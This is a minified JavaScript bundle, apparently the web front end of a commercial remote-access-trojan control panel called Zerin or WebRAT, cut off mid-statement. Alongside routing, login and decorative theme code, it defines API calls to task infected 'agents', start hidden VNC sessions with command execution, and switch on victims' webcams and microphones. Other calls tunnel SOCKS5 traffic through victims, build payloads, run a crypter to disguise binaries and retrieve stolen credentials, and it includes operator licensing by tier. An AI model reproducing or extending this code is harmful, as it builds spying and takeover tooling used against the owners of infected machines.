m.useLayoutEffect(()=>o.listen(d),[o,d]),m.useEffect(()=>EE(r),[r]),m.createElement(AE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const WE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",UE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,xt=m.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:s,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,p=Nj(t,IE),{basename:h}=m.useContext(Vr),x,g=!1;if(typeof u=="string"&&UE.test(u)&&(x=u,WE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),N=os(j.pathname,h);j.origin===w.origin&&N!=null?u=N+j.search+j.hash:g=!0}catch{}let y=fE(u,{relative:i}),v=KE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return m.createElement("a",Jc({},p,{href:x||y,onClick:g||s?r:b,ref:n,target:c}))}),VE=m.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:s="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=Nj(t,DE),p=fd(c,{relative:f.relative}),h=ga(),x=m.useContext(vj),{navigator:g,basename:y}=m.useContext(Vr),v=x!=null&&GE(p)&&u===!0,b=g.encodeLocation?g.encodeLocation(p).pathname:p.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=os(j,y)||j);const N=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let k=w===b||!o&&w.startsWith(b)&&w.charAt(N)==="/",z=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),S={isActive:k,isPending:z,isTransitioning:v},O=k?r:void 0,A;typeof s=="function"?A=s(S):A=[s,k?"active":null,z?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let T=typeof l=="function"?l(S):l;return m.createElement(xt,Jc({},f,{"aria-current":O,className:A,ref:n,style:T,to:c,viewTransition:u}),typeof d=="function"?d(S):d)});var Op;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Op||(Op={}));var Yg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Yg||(Yg={}));function HE(e){let t=m.useContext(ud);return t||Xe(!1),t}function KE(e,t){let{target:n,replace:r,state:i,preventScrollReset:s,relative:o,viewTransition:l}=t===void 0?{}:t,c=xr(),u=ga(),d=fd(e,{relative:o});return m.useCallback(f=>{if(ME(f,n)){f.preventDefault();let p=r!==void 0?r:Qc(u)===Qc(d);c(e,{replace:p,state:i,preventScrollReset:s,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,s,o,l])}function Cx(e){let t=m.useRef(Ap(e)),n=m.useRef(!1),r=ga(),i=m.useMemo(()=>LE(r.search,n.current?null:t.current),[r.search]),s=xr(),o=m.useCallback((l,c)=>{const u=Ap(typeof l=="function"?l(i):l);n.current=!0,s("?"+u,c)},[s,i]);return[i,o]}function GE(e,t){t===void 0&&(t={});let n=m.useContext($E);n==null&&Xe(!1);let{basename:r}=HE(Op.useViewTransitionState),i=fd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let s=os(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=os(n.nextLocation.pathname,r)||n.nextLocation.pathname;return Ep(i.pathname,o)!=null||Ep(i.pathname,s)!=null}const md="zerin_token",pd="zerin_role",hd="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(md,n.data.token),n.data.role&&sessionStorage.setItem(pd,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function st(){return sessionStorage.getItem(md)}function Px(e){sessionStorage.setItem(md,e)}function al(){sessionStorage.removeItem(md),sessionStorage.removeItem(pd),sessionStorage.removeItem(hd),Mo=null}function kj(){return sessionStorage.getItem(hd)||"rat"}let Mo=null;function YE(){return st()?Mo&&Date.now()/1e3>Mo?(al(),!1):!0:!1}class bi extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Ce(e,t={}){const n=st(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){al(),zi();const s=await i.text().catch(()=>"");let o="Unauthorized";if(s)try{o=JSON.parse(s).error||o}catch{o=s}throw new bi(401,o)}if(!i.ok){const s=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(s)try{o=JSON.parse(s).error||o}catch{}throw new bi(i.status,o)}if(i.status!==204)return i.json()}async function zj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function qE(e){const t=await zj(e.password),n=await Ce("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return Px(n.token),Mo=n.expires_at,n.role&&sessionStorage.setItem(pd,n.role),n.tier&&sessionStorage.setItem(hd,n.tier),zi(),n}async function XE(e){const t=await zj(e.password),n=await Ce("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return Px(n.token),Mo=n.expires_at,n.role&&sessionStorage.setItem(pd,n.role),n.tier&&sessionStorage.setItem(hd,n.tier),zi(),n}async function Sj(e){return Ce("/api/agents")}async function ZE(e){return Ce(`/api/agents/${e}`)}async function Cj(e){return Ce(`/api/agents/${e}`,{method:"DELETE"})}async function QE(e){await Promise.all(e.map(t=>Cj(t)))}async function JE(e){return Ce(`/api/agents/${e}/ban`,{method:"POST"})}async function e6(e){return Ce(`/api/agents/${e}/unban`,{method:"POST"})}async function Me(e,t){return Ce(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Xn(e){return Ce(`/api/agents/${e}/tasks`)}async function t6(){return Ce("/api/events")}async function n6(e,t){return Ce(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function r6(e){return Ce("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function i6(){return Ce("/api/payloads")}async function a6(){return Ce("/api/server-info")}async function s6(e){return Ce(`/api/payloads/${e}`,{method:"DELETE"})}async function Ex(e){return Ce(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function o6(e){return Ce(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function Pj(e){return Ce(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function l6(e){return Ce(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function c6(e,t,n=!1){return Ce(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function Ej(e,t=-1){return Ce(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function u6(e){return Ce(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function _j(e){return Ce(`/api/agents/${e}/mic/start`,{method:"POST"})}async function d6(e){return Ce(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function Aj(e){return Ce(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function f6(e){return Ce(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function m6(e){return Ce(`/api/agents/${e}/socks5/status`)}async function p6(e){const t=st(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw al(),zi(),new bi(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new bi(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new bi(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function h6(){return Ce("/api/admin/keys")}async function x6(e){return Ce("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function v6(e){return Ce(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function g6(){return Ce("/api/admin/operators")}async function y6(e,t){return Ce(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function b6(e,t){return Ce(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}async function w6(){return Ce("/api/credentials")}let wc=[];function j6(e){return wc.push(e),()=>{wc=wc.filter(t=>t!==e)}}function N6(){return YE()}function zi(){wc.forEach(e=>e())}function k6(){const e=st();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function ya(){const e=m.useSyncExternalStore(j6,N6),t=m.useCallback(()=>{zi()},[]),n=m.useCallback(()=>{al(),zi()},[]),r=e?k6():null;return{isAuthenticated:e,token:st(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class z6 extends m.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?a.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),a.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r + bg-zerin-accent hover:bg-zerin-accent-hover\r + px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function S6(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,s]=m.useState(!1),[o,l]=m.useState(null),c=m.useRef(null),u=m.useRef(0),d=m.useRef(),f=m.useRef(t);f.current=t;const p=m.useCallback(()=>{const x=st();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws`,v=new WebSocket(y);c.current=v,v.onopen=()=>{v.send(JSON.stringify({type:"auth",token:x})),s(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(s(!1),c.current=null,u.current{p()},w)}else al(),zi()},v.onerror=()=>{v.close()}},[n,r]),h=m.useCallback(()=>{u.current=0,p()},[p]);return m.useEffect(()=>(p(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[p]),{isConnected:i,lastMessage:o,reconnect:h}}const nm="zerin_notifications_enabled";function C6(){const[e,t]=m.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=m.useState(()=>localStorage.getItem(nm)==="true");m.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=m.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(nm,"true"))},[]),s=m.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(nm,String(c)),c})},[]),o=m.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:s,notify:o,isSupported:typeof Notification<"u"}}const rm="zerin-uwu-mode",qg=20,P6=3e3;function E6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),s=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.05,t+.04),s.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(s).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function _6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function A6(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function O6(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` + left:${Math.random()*100}vw; + top:${Math.random()*100}vh; + width:${i}px; + height:${i}px; + background:${t[n%t.length]}; + animation-delay:${Math.random()*.6}s; + `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Xg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Zg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function T6(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(s){const f=Xg[Math.floor(Math.random()*Xg.length)];i.textContent=f,i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + font-size:${10+Math.random()*14}px; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.08}s; + `}else{const f=Zg[Math.floor(Math.random()*Zg.length)],p=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + width:${p}px;height:${h}px;background:${f}; + border-radius:${Math.random()>.5?"50%":"1px"}; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.06}s; + `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Qg=["❤️","💖","💗","💕","♥️","🌸"];let Jg=0;function M6(e,t){const n=Date.now();if(n-Jg<60)return;Jg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Qg[Math.floor(Math.random()*Qg.length)];const i=(Math.random()-.5)*24,s=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${s}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function ey(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function ty(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const ny=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function L6(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=ny[Math.floor(Math.random()*ny.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function I6(){const[e,t]=m.useState(()=>{try{return localStorage.getItem(rm)==="true"}catch{return!1}}),n=m.useRef(0),r=m.useRef();m.useEffect(()=>{const s=document.documentElement.classList;return e?(s.add("femboy-theme"),ey()):(s.remove("femboy-theme"),ty()),()=>{s.remove("femboy-theme"),ty()}},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{T6(o.clientX,o.clientY)};return document.addEventListener("click",s,!0),()=>document.removeEventListener("click",s,!0)},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{M6(o.clientX,o.clientY)};return document.addEventListener("mousemove",s),()=>document.removeEventListener("mousemove",s)},[e]),m.useEffect(()=>{if(!e)return;const s=()=>{L6(),o=setTimeout(s,8e3+Math.random()*7e3)};let o=setTimeout(s,3e3);return()=>clearTimeout(o)},[e]);const i=m.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},P6),e){if(n.current>=qg){n.current=0,t(!1);try{localStorage.removeItem(rm)}catch{}_6()}return}if(n.current>=15&&A6(n.current-14),n.current>=qg){n.current=0,t(!0);try{localStorage.setItem(rm,"true")}catch{}E6(),O6(),ey()}},[e]);return{isActive:e,handleStatusClick:i}}const ry=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function D6(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),s=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.08,t+.1),s.gain.setValueAtTime(.08,t+.8),s.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(s).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function R6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function $6(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` + position:absolute;left:0;right:0;height:2px; + top:${n*13}%; + background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); + box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; + opacity:0; + animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; + `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,s=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` + position:absolute;left:${s}%;top:${o}%; + width:${i}px;height:${i}px; + background:${u};border-radius:50%; + box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; + --synth-dx:${l}px;--synth-dy:${c}px; + animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; + `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let iy=0,im=0;function B6(e,t){const n=Date.now();if(n-iy<40)return;iy=n,im=(im+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=im<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function F6(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,s=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` + left:${s}vw;width:${i}px;height:${i}px; + clip-path:${o}; + border:1.5px solid ${r}; + box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; + background:${r}08; + `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function W6(){const[e,t]=m.useState(!1),n=m.useRef([]),r=m.useRef();return m.useEffect(()=>{function i(s){var u,d;const o=(u=s.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=s.target)!=null&&d.isContentEditable)return;const l=s.key.length===1?s.key.toLowerCase():s.key;n.current.push(l);const c=ry.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);ry.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?R6():(D6(),$6()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),m.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),m.useEffect(()=>{if(!e)return;const i=s=>B6(s.clientX,s.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),m.useEffect(()=>{if(!e)return;const i=()=>{F6(),s=setTimeout(i,5e3+Math.random()*5e3)};let s=setTimeout(i,2e3);return()=>clearTimeout(s)},[e]),{isActive:e}}const U6={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},V6={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},H6={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},K6={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},G6={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function xd({status:e,size:t="md",showLabel:n=!1}){return a.jsxs("span",{className:"inline-flex items-center gap-2",children:[a.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block rounded-full ${U6[t]} ${H6[e]}`})]}),n&&a.jsx("span",{className:`font-mono font-medium tracking-wider ${V6[t]} ${K6[e]}`,children:G6[e]})]})}function Y6({open:e,onClose:t,agents:n}){const[r,i]=m.useState(""),[s,o]=m.useState(0),l=m.useRef(null),c=xr(),u=m.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(p=>p.hostname.toLowerCase().includes(f)||p.username.toLowerCase().includes(f)||p.internal_ip.includes(f)||p.external_ip.includes(f)||p.id.toLowerCase().includes(f)).slice(0,10).map(p=>({type:"agent",id:p.id,primary:p.hostname,secondary:`${p.username} — ${p.internal_ip}`,agent:p}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);m.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),m.useEffect(()=>{o(0)},[r]);const d=m.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return m.useEffect(()=>{if(!e)return;function f(p){if(p.key==="Escape"){t();return}p.key==="ArrowDown"&&(p.preventDefault(),o(h=>Math.min(h+1,u.length-1))),p.key==="ArrowUp"&&(p.preventDefault(),o(h=>Math.max(h-1,0))),p.key==="Enter"&&u[s]&&(p.preventDefault(),d(u[s]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,s,t,d]),e?a.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[a.jsx("div",{className:"absolute inset-0 bg-black/60"}),a.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),a.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),a.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?a.jsx("div",{className:"px-4 py-8 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):a.jsxs("div",{className:"py-1",children:[!r&&a.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,p)=>a.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(p),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${p===s?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&a.jsx(xd,{status:f.agent.status,size:"sm"}),a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("p",{className:`text-sm font-medium truncate ${p===s?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),a.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),a.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let ca={status:"idle",payloadName:"",startedAt:0,error:""};const Tp=new Set;function vd(){Tp.forEach(e=>e())}function Oj(){return ca}function Tj(e){return Tp.add(e),()=>Tp.delete(e)}function q6(e){ca={status:"building",payloadName:e,startedAt:Date.now(),error:""},vd()}function X6(){ca={...ca,status:"success"},vd()}function ay(e){ca={...ca,status:"error",error:e},vd()}function sy(){ca={status:"idle",payloadName:"",startedAt:0,error:""},vd()}const 